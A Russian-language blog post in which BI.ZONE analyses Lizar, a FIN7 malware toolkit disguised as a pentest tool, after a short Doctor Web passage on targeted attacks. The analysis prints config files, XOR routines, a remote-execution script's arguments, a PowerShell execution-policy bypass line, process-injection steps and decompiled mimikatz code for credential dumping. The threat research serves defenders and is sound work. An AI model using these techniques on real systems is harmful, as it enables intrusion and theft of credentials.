Специалисты компании Доктор Веб рекомендуют производить регулярный контроль работоспособности важных сетевых ресурсов и своевременно обращать внимание на сбои, которые могут свидетельствовать о наличии в сети вредоносного ПО. Основная опасность целевых атак заключается не только в компрометации данных, но и в длительном присутствии злоумышленников в корпоративной сети. Такой сценарий позволяет годами контролировать работу организации и в нужный момент получать доступ к чувствительной информации. При подозрении на вредоносную активность в сети мы рекомендуем обращаться в вирусную лабораторию Доктор Веб, которая оказывает услуги по расследованию вирусозависимых компьютерных инцидентов. Оперативное принятие адекватных мер позволит сократить ущерб и предотвратить тяжелые последствия целевых атак.

Индикаторы компрометации

Подробнее..
Категории: Информационная безопасность , Реверс-инжиниринг , Антивирусная защита , Apt , Бэкдоры , Блог компании доктор веб , Доктор веб , Dr.web , Вредоносное по , Вирусный анализ , Целевые атаки

От пентеста до АРТ-атаки группа киберпреступников FIN7 маскирует свою малварь под инструментарий этичного хакера

21.04.2021 12:06:56 | Автор: admin

Статья подготовлена командой BI.ZONE Cyber Threat Research


Мы не первый раз натыкаемся на киберпреступные группировки, которые прикидываются легальными организациями и маскируют свою малварь под инструменты для анализа защищенности. Сотрудники таких компаний могут даже не подозревать, что работают на злоумышленников и используют самый настоящий вредоносный пакет.


FIN7 (также именуемая как Carbanak и Navigator Group), одна из знаменитых АРТ-группировок, для разведки и закрепления на зараженных системах разработала Lizar якобы инструмент для пентеста сетей Windows. Мы заинтересовались им и провели исследование, результатами которого поделимся в статье.


Раньше инструмент назывался Tirion, но дальше по тексту мы будем использовать только новое название Lizar


Немного о FIN7


APT-группировка FIN7, предположительно, основана еще в 2013 году, однако мы сосредоточимся на анализе ее деятельности с 2020 года: именно тогда киберпреступники сфокусировались на атаках с использованием шифровальщиков.


FIN7 составляла список жертв, фильтруя компании по доходу с помощью сервиса Zoominfo. В 20202021 годах мы наблюдали атаки на американские фармацевтические компании, IT-компанию со штаб-квартирой в Германии, один из ключевых финансовых институтов Панамы, игорное заведение и образовательные учреждения в США.


Довольно долго для целей разведки и закрепления на зараженных системах члены FIN7 использовали набор инструментов Carbanak Backdoor, почитать о котором можно в отчете FireEye (посты в блоге: 1, 2, 3, 4). Мы неоднократно наблюдали, как организаторы пытались маскироваться под представительство компании Check Point Software Technologies и Forcepoint. Пример этого интерфейс инструмента Carbanak Backdoor версии 3.7.4 с отсылкой к компании Check Point Software Technologies (рис. 1).



Рис. 1. Интерфейс инструмента Carbanak Backdoor версии 3.7.4


Недавно у преступников появился новый вредоносный пакет Lizar. В сети ранее публиковался отчет об исследовании Lizar версии 1.6.4, а мы решили изучить функциональные возможности компонентов более новой версии, 2.0.4 (дата и время компиляции Fri Jan 29 03:27:43 2021), обнаруженных нами в феврале 2021 года.


Архитектура набора инструментов Lizar


По структуре набор инструментов Lizar похож на Carbanak Backdoor. Краткая характеристика обнаруженных нами компонентов представлена в табл. 1.


Табл. 1. Сущность и назначение компонентов Lizar


Название компонента Описание компонента Процесс работы компонента
Lizar client Программа с графическим интерфейсом, с помощью которой участники группы FIN7 управляют лоадерами на зараженных устройствах. Предназначена для работы под управлением ОС Windows Программа общается с сервером, отправляет через него команды загрузчику на зараженной машине (лоадеру) и получает результат выполнения команд
Lizar server Программа, которая обеспечивает связь между клиентом и лоадером Программа работает на удаленном сервере
Lizar loader Лоадер, который предназначен для загрузки плагинов Лоадер общается с управляющим сервером и запускает необходимые плагины по команде с сервера
Lizar plugins Плагины, расположенные на стороне сервера Результат работы каждого плагина отправляется на сервер, а с сервера передается клиенту
Lizar plugins/extra Плагины, расположенные на стороне клиента Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему)

Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot.


То, как функционируют и взаимодействуют инструменты Lizar, можно увидеть на рис. 2.



Рис. 2. Схема работы набора инструментов Lizar


Lizar client


Lizar client состоит из следующих компонентов:


  • client.ini.xml конфигурационный файл в формате XML;
  • client.exe основной исполняемый файл клиента;
  • libwebp_x64.dll 64-битная версия библиотеки libwebp;
  • libwebp_x86.dll 32-битная версия библиотеки libwebp;
  • keys директория с ключами, необходимыми для шифрования трафика между клиентом и сервером;
  • plugins/extra директория с плагинами (на практике в ней лежат лишь некоторые плагины, остальные расположены на сервере);
  • rat директория с публичным ключом из комплекта Carbanak Backdoor (этот компонент добавлен в последней версии Lizar).

Ниже представлено содержимое и описание конфигурационного XML-файла (табл. 2).


<?xml version="1.0" encoding="utf-8"?><Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">  <Servers>    <Server>      <Name>test</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>file.key</FileKey>    </Server>  </Servers>  <JumperApp>    <App>      <Name>svchost.exe</Name>    </App>    <App>      <Name>rundll32.exe</Name>    </App>  </JumperApp>  <HidePassedMinutes>1</HidePassedMinutes>  <ClientName>client-test</ClientName>  <TrafficLog>0</TrafficLog>  <Rats>    <RatConfig>      <Name>RatServer</Name>      <IP>XX.XX.XX.XX</IP>      <Port>443</Port>      <FileKey>rat\test.public.key</FileKey>    </RatConfig>  </Rats></Params>

Табл. 2. Характеристика элементов структуры конфигурационного XML-файла


Группа элементов Название элемента Описание элемента
Servers Server
Настройки сервера		 Name Имя сервера, отображаемое клиентом
IP IP-адрес сервера
Port Порт, который слушает сервер
FileKey Файл с ключом, используемым для шифрования трафика между клиентом и сервером
JumperApp App
Конфигурация приложения на зараженной ОС, в процесс которого будет произведена миграция		 Name Имя процесса, в который может мигрировать лоадер
Самостоятельные элементы HidePassedMinutes Конфигурационный параметр, от которого зависит отображение прошедших минут в графическом интерфейсе клиента. Принимает два значения: 0 (прошедшие минуты скрываются) и 1 (прошедшие минуты отображаются)
ClientName Имя клиента
TrafficLog Конфигурационный параметр, от которого зависит логирование сетевого взаимодействия с сервером. Принимает два значения: 0 (сетевое взаимодействие логируется) и 1 (сетевое взаимодействие не логируется)
Rats RatConfig
Настройки плагина Rat, представляющего собой урезанную версию бота из набора инструментов Carbanak Backdoor		 Name Имя сервера или панели администратора из набора инструментов Carbanak Backdoor
IP IP-адрес сервера или панели администратора из набора инструментов Carbanak Backdoor
Port Порт сервера Carbanak Backdoor
FileKey Файл, который содержит необходимый для работы Carbanak Backdoor публичный ключ RSA

В табл. 3 представлены характеристики обнаруженного файла client.exe.


Табл. 3. Файл client.exe


Характеристики Значение
Имя файла client.exe
SHA-256 78a744a64d3afec117a9f5f11a9926d45d0064c5a46e3c0df5204476a1650099 (нет на VT)
Тип файла PE32 executable for MS Windows (GUI) Intel 80386 Mono/.Net assembly
Размер 238 080 байт

На рис. 3 скриншот интерфейса последней обнаруженной нами версии клиента.



Рис. 3. Интерфейс версии 2.0.4 Lizar client


Описание колонок
Название колонки Содержимое колонки
Id Информация о боте в виде {имя бота}:{идентификатор бота}:{pid}, где:
  • идентификатор бота контрольная сумма от системной информации (алгоритм генерации идентификатора бота описан в разделе Lizar loader)
  • pid значение идентификатора процесса, в котором функционирует лоадер (если лоадер неактивен, pid принимает значение 0)
Pid Такое же значение, как pid из колонки Id
Platform Битность и тип процесса, в котором функционирует лоадер:
  • x86 лоадер 32-битный файл EXE или DLL
  • x86.net лоадер 32-битный файл EXE или DLL, написанный на платформе .NET Framework
  • x64 лоадер 64-битный файл EXE или DLL
  • x64.net лоадер 64-битный EXE или DLL, написанный на платформе .NET Framework
External IP Внешний IP-адрес зараженной системы, на которой запущен лоадер (не всегда отображается корректно)
Local IP Внутренний IP-адрес зараженной системы, на которой запущен лоадер
Country Страна, на территории которой находится зараженная система
AV Название антивирусного продукта
First, Last Временные метки первого и последнего отстука лоадера
Passed Количество минут, прошедших с момента последнего отстука до текущего момента
Next Количество секунд, через которое произойдет следующее взаимодействие клиента с сервером (если лоадер неактивен, значение становится отрицательным)
Company Пустая колонка, где в будущем, вероятно, будет отображаться имя зараженной компании, полученное из домена
Info Базовая информация о зараженной системе: домен, имя пользователя, версия зараженной системы
Protocol Протокол общения с сервером (может принимать значения unknown и tcp)
Server Имя сервера, значение которого берется из конфигурации
Comment, Outer string Дополнительная информация, которая сейчас не используется

Клиент поддерживает несколько команд для бота. То, как они выглядят в графическом интерфейсе, можно увидеть на рис. 4.



Рис. 4. Список команд, поддерживаемых Lizar client


Вот что позволяет сделать каждая из команд:


  • Info получить информацию о системе. Плагин для данной команды расположен на сервере. При получении от плагина результата информация записывается в колонку Info.


  • Kill завершить работу плагина.


  • Period изменить период отстука (рис. 5).

    Рис. 5. Команда Period в графическом интерфейсе Lizar client


  • Screenshot сделать скриншот (рис. 6). Плагин для данной команды расположен на сервере. Если удалось сделать скриншот, он отобразится в отдельном окне.

    Рис. 6. Команда Screenshot в графическом интерфейсе Lizar client


  • List Processes получить список процессов (рис. 7). Плагин для данной команды расположен на сервере. В случае успешной работы плагина список процессов отображается в отдельном окне.

    Рис. 7. Команда List Processes в графическом интерфейсе Lizar client


  • Command Line получить CMD на зараженной системе. Плагин для данной команды расположен на сервере. Если плагин успешно выполнил команду, результат отобразится в отдельном окне.


  • Executer запустить дополнительный модуль (рис. 8).

    Рис. 8. Команда Executer в графическом интерфейсе Lizar client


  • Jump to осуществить миграцию лоадера в другой процесс. Плагин для данной команды расположен на сервере. Параметры команды передаются через файл client.ini.xml.


  • New session создать еще одну сессию лоадера (запустить копию лоадера на зараженной системе).


  • Mimikatz запустить mimikatz.


  • Grabber запустить один из плагинов, собирающих пароли в браузерах и ОС. Во вкладке Grabber есть две кнопки: Passwords + Screens и RDP (рис. 9). При использовании каждой из них отправляется команда на запуск соответствующего плагина.



    Рис. 9. Команда Grabber в графическом интерфейсе Lizar client

Network analysis запустить один из плагинов для получения информации об Active Directory и информации о сети (рис. 10).



Рис. 10. Команда Network analysis в графическом интерфейсе Lizar client

Rat запустить Carbanak Backdoor (RAT). IP-адрес и порт сервера и панели администратора задаются через конфигурационный файл client.ini.xml (рис. 11).



Рис. 11. Команда Rat в графическом интерфейсе Lizar client


Мы перепрыгнули команду в общем списке Company computers она в настоящее время не обрабатывается. В коде образца нет обработчика для данной команды, так что мы не можем точно определить, что она делает.


Lizar server


Приложение Lizar server, как и Lizar client, написано на платформе .Net Framework. В отличие от клиента, сервер запускается на удаленном Linux-хосте. Дата и время компиляции последней обнаруженной нами версии сервера: Fri Feb 19 16:16:25 2021. Приложение запускается при помощи утилиты wine с предустановленным wine-mono (wine-mono-5.0.0-x86.msi).


Директория приложения сервера включает в себя следующие компоненты:


  • client/keys директория с ключами шифрования для корректного взаимодействия с клиентом.
  • loader/keys директория с ключами шифрования для корректного взаимодействия с лоадером.
  • logs директория с логами работы сервера (client-traffic, error, info).
  • plugins директория с плагинами.
  • ThirdScripts директория со скриптом ps2x.py и вспомогательным модулем ps2p.py. Скрипт ps2x.py предназначен для исполнения файлов на удаленном хосте и реализован с использованием проекта impacket. Заготовки команд для этого скрипта отображаются в приложении клиента при выборе соответствующей опции.

Полный список аргументов, поддерживаемых скриптом 
    self.parser = argparse.ArgumentParser(description='ps2exec python module')    self.parser.add_argument('rhost', help='remote host and SMB-port like this: <host ip or name>[:port]')    self.parser.add_argument(        'rfile', help='remote (payload) file specification like this: <share>[[:<path>]:<file>]')    self.parser.add_argument('lfile', help='local (payload) file specification')    self.parser.add_argument('-c', '--cmd',          help='command to execute on RHOST')    self.parser.add_argument('-o', '--output',       help='remote file to collect output', default='', nargs='?')    self.parser.add_argument('-u', '--user',         help='user name', default='')    self.parser.add_argument('-p', '--password',     help='user password', default='')    self.parser.add_argument('-d', '--domain',       help='user domain', default='')    self.parser.add_argument('-n', '--sockshost',    help='socks5 server name or ip', default='localhost')    self.parser.add_argument('-k', '--socksport',    help='socks5 server port number', type=int, default=8129)    self.parser.add_argument('-s', '--hash',                                   help='user password hash like this: <LM-Hash>:<NT-Hash>', default='')    self.parser.add_argument('-l', '--loglevel', type=int, default=3,                              help='logging level from 0 to 5 (NONE, CRITICAL, ERROR, WARNING, INFO, DEBUG)')

  • x64 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (64-битная версия).
  • x86 директория с файлом вспомогательной библиотеки SQLite.Interop.dll (32-битная версия).
  • AV.lst CSV-файл, содержащий имя процесса, который ассоциируется с антивирусным продуктом, название и описание антивирусного продукта. Несколько строк из файла AV.lst:

aexnsagent.exe|Altiris|Altiris Agentaexswdusr.exe|Altiris|Altiris Express NS Client ManagerALERT.EXE|eTrust|CA eTrust Integrated Threat Management 8.1/CA Jinchen KillALUNotify.exe|Symantec|Symantecavcenter.exe|Avira|Avira

  • data.db файл с базой данных, содержащей информацию обо всех лоадерах (эта информация подгружается в приложение клиента).
  • server.exe приложение сервера.
  • server.ini.xml конфигурационный файл приложения сервера.

Пример содержимого конфигурационного файла 
    <?xml version="1.0" encoding="utf-8"?>    <Params xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://personeltest.ru/away/www.w3.org/2001/XMLSchema">      <protocols>        <PP>          <protocol>TCP</protocol>          <port>443</port>        </PP>      </protocols>      <TrafficLog>0</TrafficLog>    </Params>

  • System.Data.SQLite.dll файл вспомогательной библиотеки.

Обмен данными между клиентом и сервером


Перед отправкой на сервер данные шифруются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Используемая функция шифрования представлена ниже.


public static void EncodeData(byte[] data, int szdata, byte[] key, int szkey){  byte b = 0;  int num = 0;  for (int i = 0; i < szdata; i++)  {    byte b2 = data[i];    data[i] = (data[i] ^ b ^ key[num]);    b = b2;    num = (num + 1) % szkey;  }}

Если ключ, указанный в конфигурации (31 байт), не совпадает с ключом на сервере, данные с сервера не отправляются.


Для проверки ключа на стороне сервера клиент отправляет контрольную сумму от ключа, рассчитанную по следующему алгоритму:


public static uint CalcHash(byte[] m, int offset, int size){  uint num = 0U;  for (int i = 0; i < size; i++)  {    num ^= (uint)m[offset + i];    num *= 16777619U;  }  return num;}

Данные, полученные с сервера, расшифровываются на сессионном ключе размером от 5 до 15 байт, затем на ключе, указанном в конфигурации (31 байт). Функция для расшифровывания:


public static void DecodeData(byte[] data, int szdata, byte[] key, int szkey)  {    byte b = 0;    int num = 0;    for (int i = 0; i < szdata; i++)    {      data[i] = (data[i] ^ b ^ key[num]);      b = data[i];      num = (num + 1) % szkey;    }  }

Данные, передаваемые от клиента серверу и от сервера клиенту, имеют бинарный формат. Расшифрованные данные представляют собой список ботов (рис. 12).



Рис. 12. Пример расшифрованных данных, переданных от сервера клиенту


Lizar loader


Lizar loader предназначен для выполнения команд посредством запуска плагинов, а также для запуска дополнительных модулей. Он работает на стороне зараженного компьютера.
Как мы уже отметили, Lizar loader и Lizar plugins работают на зараженной системе и логически могут быть объединены в компонент Lizar bot. Модульная архитектура бота обеспечивает расширяемость инструмента и возможность вести независимую разработку всех компонентов.
Мы обнаружили три вида ботов: DLL, EXE и PowerShell-скрипты, которые в результате исполняют DLL в адресном пространстве процесса PowerShell.


Псевдокод главной функции лоадера вместе с восстановленной структурой функций представлены на рис. 13.



Рис. 13. Псевдокод главной функции лоадера


Вот что происходит в функции x_Init:


  1. Генерация случайного ключа g_ConfigKey31 при помощи функции SystemFunction036. Данный ключ используется в дальнейшем для расшифровывания конфигурационных данных.


  2. Получение системной информации и подсчет контрольной суммы от полученной информации (рис. 14).

    Рис. 14. Псевдокод для получения системной информации и подсчета контрольной суммы от нее


  3. Получение идентификатора текущего процесса (контрольная сумма и PID процесса лоадера отображаются в колонке Id в приложении клиента).


  4. Подсчет контрольной суммы от ранее полученной контрольной суммы и идентификатора текущего процесса (на рис. 13 обозначено как g_BotId).


  5. Расшифровывание конфигурационных данных: списка IP-адресов, списка портов для каждого сервера. Конфигурационные данные расшифровываются на 31-байтовом ключе g_LoaderKey алгоритмом XOR. После расшифровывания данные повторно зашифровываются на ключе g_ConfigKey31 алгоритмом XOR. Ключ g_LoaderKey также используется при шифровании данных, отправляемых на сервер, и при расшифровывании данных, получаемых с сервера.


  6. Инициализация глобальных переменных и критических секций для некоторых переменных. Это нужно для доступа к данным из различных потоков.


  7. Инициализация исполняемой памяти для выполнения плагинов.


  8. Запуск пяти потоков, в которых происходит обработка очереди сообщений с сервера. Этот механизм реализован с помощью функций PostQueuedCompletionStatus и GetQueuedCompletionStatus. Данные, полученные с сервера, расшифровываются и отправляются обработчику (рис. 15).

    Рис. 15. Псевдокод алгоритма расшифровывания данных, полученных с сервера, и передачи этих данных обработчику



При этом обработчик принимает данные с помощью функции GetQueuedCompletionStatus.


Тело плагинов содержится в переменной vServerDataServerData после расшифровывания (еще раз взгляните на рис. 15). Псевдокод алгоритма, которым расшифровываются данные, полученные с сервера, представлен на рис. 16.



Рис. 16. Псевдокод алгоритма расшифровывания данных, полученных с сервера


Перед отправкой на сервер структура данных формируется так, как показано на рис. 17.

Рис. 17. Псевдокод функции, в которой генерируется структура, отправляемая серверу


Плагины из директории plugins


Плагины из директории plugins отправляются с сервера лоадеру и исполняются лоадером при осуществлении определенного действия в приложении Lizar Сlient.


Механизм работы плагинов в общем виде можно представить так:


  1. Пользователь выбирает команду в интерфейсе приложения Lizar client.
  2. Информация о выбранной команде отправляется на Lizar server.
  3. В зависимости от команды и битности лоадера сервер находит подходящий плагин из директории plugins и отправляет лоадеру запрос, содержащий команду и тело плагина (например, Screenshot{битность лоадера}.dll).
  4. Лоадер выполняет плагин и сохраняет результат выполнения плагина в специально выделенной области памяти на куче.
  5. Результат выполнения плагина отправляется на сервер, а с сервера клиенту.
  6. В приложении клиента отображается результат работы плагина.

Полный список плагинов (32-битных и 64-битных DLL) из директории plugins
  • CommandLine32.dll
  • CommandLine64.dll
  • Executer32.dll
  • Executer64.dll
  • Grabber32.dll
  • Grabber64.dll
  • Info32.dll
  • Info64.dll
  • Jumper32.dll
  • Jumper64.dll
  • ListProcess32.dll
  • ListProcess64.dll
  • mimikatz32.dll
  • mimikatz64.dll
  • NetSession32.dll
  • NetSession64.dll
  • rat32.dll
  • rat64.dll
  • Screenshot32.dll
  • Screenshot64.dll

CommandLine32.dll/CommandLine64.dll


Плагин предназначен для предоставления злоумышленникам доступа к интерфейсу командной строки на зараженной системе.


Отправка команд процессу cmd.exe и получение результата выполнения команд реализованы через пайпы (рис. 18).



Рис. 18. Псевдокод главной функции CommandLine32.dll/CommandLine64.dll


Executer32.dll/Executer64.dll


С помощью Executer32.dll/Executer64.dll запускаются дополнительные компоненты, указанные в интерфейсе приложения Lizar client.


Плагин поддерживает запуск следующих компонентов:


  • файла EXE из директории %TEMP%;
  • PowerShell-скрипта из директории %TEMP%, который запускается при помощи следующей команды: {путь к файлу powershell.exe} -ex bypass -noprof -nolog -nonint -f {путь к PowerShell-скрипту};
  • DLL в памяти;
  • шелл-кода.

Код плагина, который запускает шелл-код, представлен на рис. 19.



Рис. 19. Код Executer32.dll/Executer64.dll, запускающий шелл-код


Следует отметить, что файл плагина Executer64.dll содержит путь к PDB: M:\paal\Lizar\bin\Release\Plugins\Executer64.pdb.


Grabber32.dll/Grabber64.dll


Вопреки своему названию, данный плагин не содержит функциональности граббера и представляет собой типичный загрузчик PE-файла.


Хотя злоумышленники и называют его граббером, на деле загруженный PE-файл выполняет функции других инструментов, например стилера.


Обе версии плагина используются в качестве загрузчиков грабберов, расположенных на стороне клиента: PswRdInfo64 и PswInfoGrabber64.


Info32.dll/Info64.dll


Плагин предназначен для получения информации о зараженной системе.


Плагин выполняется при использовании команды Info в приложении Lizar client. На сервер отправляется структура данных, содержащая версию ОС, имя пользователя и имя компьютера.


На стороне сервера полученная структура приводится к специальной строке (рис. 20).



Рис. 20. Приведение полученной структуры к специальной строке на стороне сервера


Jumper32.dll/Jumper64.dll


Плагин предназначен для миграции лоадера в адресное пространство другого процесса. Параметры инжекта выставляются в конфигурационном файле Lizar client. Следует отметить, что данный плагин может быть использован не только для инжекта лоадера, но и для выполнения других PE-файлов в адресном пространстве указанного процесса. На рис. 21 представлен участок главной функции плагина.



Рис. 21. Псевдокод главной функции Jumper32.dll/Jumper64.dll


Из представленного псевдокода видно, что миграция лоадера в адресное пространство указанного процесса может происходить тремя способами:


  • по идентификатору процесса, в который осуществляется инжект;
  • по имени исполняемого файла, в который осуществляется инжект;
  • путем миграции в такой же процесс.

Рассмотрим каждый из них подробнее.


Алгоритм инжекта по идентификатору процесса


  1. OpenProcess плагин получает хендл процесса для указанного идентификатора процесса (PID).
  2. VirtualAllocEx + WriteProcessMemory плагин выделяет память в виртуальном адресном пространстве указанного процесса и записывает туда содержимое, которое впоследствии будет исполнено.
  3. CreateRemoteThread плагин создает поток в виртуальном адресном пространстве указанного процесса, в качестве адреса lpStartAddress выступает главная функция лоадера. Если CreateRemoteThread не отработал, плагин использует функцию RtlCreateUserThread (рис. 22).


Рис. 22. Псевдокод функции для создания потока в виртуальном адресном пространстве указанного процесса


Алгоритм инжекта по имени исполняемого файла


  1. Плагин находит путь к системному исполняемому файлу, в который необходимо осуществить инжект. Расположение этого файла зависит от разрядности лоадера. 64-битный файл размещается в директории %SYSTEMROOT%\System32, а 32-битный в директории %SYSTEMROOT%\SysWOW64.
  2. Плагин создает процесс для полученного системного исполняемого файла, а также получает идентификатор созданного процесса. В зависимости от параметров плагина есть два способа реализации этого шага:

    • Если в структуре, передаваемой плагину, выставлен соответствующий флаг, то плагин создает процесс в контексте безопасности процесса explorer.exe (рис. 23).

      Рис. 23. Запуск исполняемого файла в контексте безопасности процесса explorer.exe
    • Если флаг не выставлен, исполняемый файл запускается посредством вызова функции CreateProcessA (рис. 24).

      Рис. 24. Вызов функции CreateProcessA
  3. Плагин выделяет память в виртуальном адресном пространстве созданного процесса и записывает туда содержимое, которое впоследствии будет исполнено (VirtualAllocEx + WriteProcessMemory).
  4. Плагин запускает функции в виртуальном адресном пространстве созданного процесса одним из следующих способов в зависимости от разрядности процесса:

    • для 64-битного процесса запуск осуществляется при помощи функции, псевдокод которой изображен на рис. 25;

      Рис. 25. Псевдокод алгоритма инжекта в 64-битный процесс
    • для 32-битного процесса запуск функции в виртуальном адресном пространстве созданного процесса осуществляется при помощи функций CreateRemoteThread и RtlCreateUserThread, которые создают поток в виртуальном адресном пространстве заданного процесса.

Алгоритм инжекта в такой же процесс


  1. Плагин получает путь к исполняемому файлу для процесса, в адресном пространстве которого он функционирует.
  2. Плагин запускает данный исполняемый файл и осуществляет инжект в созданный процесс.

Псевдокод для данного метода представлен на рис. 26.



Рис. 26. Псевдокод алгоритма инжекта Jumper32.dll/Jumper64.dll в такой же процесс


ListProcesses32.dll/ListProcesses64.dll


Данный плагин предназначен для получения информации о запущенных процессах (рис. 27 и рис. 28).



Рис. 27. Получение информации о каждом активном процессе



Рис. 28. Добавление полученной информации для последующей отправки на сервер


Для каждого процесса могут быть получены:


  • идентификатор процесса;
  • путь к исполняемому файлу;
  • информация о пользователе, от имени которого запущен процесс.

mimikatz32.dll/mimikatz64.dll


Плагин mimikatz обертка для модулей powerkatz, расположенных на стороне клиента:


  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll

NetSession32.dll/NetSession64.dll


Плагин предназначен для получения информации обо всех сеансах, установленных на зараженном сервере. Для каждого сеанса может быть получен адрес хоста, с которого производится подключение, а также имя пользователя, инициирующего подключение.


Псевдокод функции, в которой происходит получение информации, представлен на рис. 29 и 30.



Рис. 29. Получение информации о сетевых сеансах с помощью функций из WinAPI



Рис. 30. Добавление информации, полученной плагином, для отправки на сервер


rat32.dll/rat64.dll


Плагин представляет собой урезанную версию бота из набора инструментов Carbanak Backdoor. Как мы писали в начале статьи, этот набор инструментов активно используется группировкой FIN7.


Screenshot32.dll/Screenshot64.dll


Плагин позволяет сделать скриншот на зараженной системе в формате JPEG. Ниже показан участок функции, используемый для сохранения полученного изображения в стрим (рис. 31).



Рис. 31. Участок функции, используемый для сохранения скриншота, сделанного плагином, в стрим


Далее полученный стрим передается лоадеру для отправки на сервер.


Плагины из директории plugins/extra


Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему).


Список файлов из директории plugins/extra
  • ADRecon.ps1
  • GetHash32.dll
  • GetHash64.dll
  • GetPass32.dll
  • GetPass64.dll
  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll
  • PswInfoGrabber32.dll
  • PswInfoGrabber64.dll
  • PswRdInfo64.dll

ADRecon


Файл ADRecon.ps1 это инструмент для генерации отчета, содержащего информацию из среды Active Directory. Исходный код проекта доступен ADRecon доступен на GitHub. Отметим, что этот плагин не является разработкой FIN7, однако активно используется группировкой для атак в рамках исследуемого набора инструментов.


GetHash32/GetHash64


Плагин предназначен для получения NTLM-/LM-хешей пользователей. В основе плагина лежит код компонента lsadump из mimikatz.


На рис. 32 представлен скриншот с псевдокодом экспортируемой функции Entry (имена функций выбраны в соответствии с названиями функций из mimikatz).



Рис. 32. Псевдокод экспортируемой функции Entry для плагина GetHash


Возвращаемое значение функции Execute (значение переменной g_outputBuffer) содержит указатель на буфер с данными, полученными в результате работы плагина.


Если плагин не удалось запустить с правами SYSTEM, в результате его работы буфер заполнится данными, представленными на рис. 33.



Рис. 33. Содержимое буфера при запуске плагина без прав пользователя SYSTEM


Содержимое буфера в данном случае аналогично выводу mimikatz при запуске модуля lsadump::sam без прав SYSTEM (рис. 34).



Рис. 34. Вывод mimikatz при запуске lsadump::sam без прав пользователя SYSTEM


Если плагин запущен с правами SYSTEM, в результате его работы в буфер попадет вся искомая информация (рис. 35).



Рис. 35. Содержимое буфера при запуске плагина с правами пользователя SYSTEM


Такие же данные можно получить при выполнении команды lsadump::sam из mimikatz с правами пользователя SYSTEM (рис. 36).



Рис. 36. Результат выполнения команды lsadump::sam из mimikatz с правами пользователя SYSTEM


GetPass32/GetPass64


Плагин предназначен для получения паролей пользователей. В его основе лежит код компонента sekurlsa из mimikatz. Псевдокод экспортируемой функции Entry представлен на рис. 37.



Рис. 37. Псевдокод экспортируемой функции Entry


По результатам работы плагина мы увидим в значении переменной g_outputBuffer указатель на буфер с данными, которые можно получить при выполнении команды sekurlsa::logonpasswords в mimikatz (рис. 38).



Рис. 38. Результат выполнения команды sekurlsa::logonpasswords


powerkatz_full32/powerkatz_full64


Плагин представляет собой версию mimikatz, собранную в конфигурации Second_Release_PowerShell. Эта версия может быть загружена в адресное пространство процесса PowerShell посредством рефлексивной загрузки DLL так, как это реализовано в модуле Exfiltration из PowerSploit.


Псевдокод экспортируемой функции powershell_reflective_mimikatz (названия переменных и функций в декомпилированном выводе изменены в соответствии с названиями соответствующих переменных и функций из mimikatz):


HLOCAL __fastcall powershell_reflective_mimikatz(const WCHAR *input){  unsigned __int16 **argv; // rbx  int pNumArgs; // [rsp+38h] [rbp+10h] BYREF  pNumArgs = 0;  argv = CommandLineToArgvW(input, &pNumArgs);  if ( argv )  {    outputBufferElementsPosition = 0i64;    outputBufferElements = 255i64;    outputBuffer = LocalAlloc(0x40u, 0x1FEui64);    if ( outputBuffer )      wmain(pNumArgs, argv);    LocalFree(argv);  }  return outputBuffer;}

Через параметр input передается список команд, разделенных пробелом. Через глобальную переменную outputBuffer передается результат выполнения команд. Декомпилированный вид функции wmain представлен ниже:


__int64 __fastcall wmain(int argc, unsigned __int16 **argv){  __int64 vNumArgs; // rbx  int status; // edi  __int64 numArgs; // rbp  __int64 i; // rbx  int res; // eax  vNumArgs = argc;  status = 0;  kprintf(L"\n"           "  .#####.   mimikatz 2.2.0 (x64) #18362 Apr  8 2020 18:33:39\n"           " .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n"           " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"           " ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz\n"           " '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n"           "  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/\n");  mimikatz_initOrClean(1);  numArgs = vNumArgs;  if ( vNumArgs > 0 )  {    i = 0i64;    do    {      if ( status == 0x40000015 )        break;      kprintf(L"\nmimikatz(powershell) # %s\n", argv[i]);      res = mimikatz_dispatchCommand(argv[i++]);      status = res;    }    while ( i < numArgs );  }  mimikatz_initOrClean(0);  return 0i64;}

powerkatz_short32/powerkatz_short64


Плагин powerkatz_short это модифицированная версия стандартной библиотеки powerkatz, описанной в предыдущем пункте.


Список функций из powerkatz, которые были исключены из powerkatz_short
  • kuhl_m_acr_clean;
  • kuhl_m_busylight_clean;
  • kuhl_m_c_rpc_clean;
  • kuhl_m_c_rpc_init;
  • kuhl_m_c_service_clean;
  • kuhl_m_crypto_clean;
  • kuhl_m_crypto_init;
  • kuhl_m_kerberos_clean;
  • kuhl_m_kerberos_init;
  • kuhl_m_vault_clean;
  • kuhl_m_vault_init;
  • kull_m_busylight_devices_get;
  • kull_m_busylight_keepAliveThread.

PswInfoGrabber32.dll/PswInfoGrabber64.dll


Плагин позволяет получить из зараженной системы историю браузеров Firefox, Google Chrome, Microsoft Edge, Internet Explorer, сохраненные в них логины и пароли пользователей, а также учетные записи почтовых клиентов Microsoft Outlook и Mozilla Thunderbird.


Для получения конфиденциальных данных из браузера Firefox используется библиотека nss3.dll, подгружаемая из директории с установленным браузером (рис. 39).



Рис. 39. Динамическое получение адресов функций из библиотеки nss3.dll


С помощью функций, представленных на рис. 39, учетные данные извлекаются из файла logins.json, а история браузера из базы данных places.sqlite.


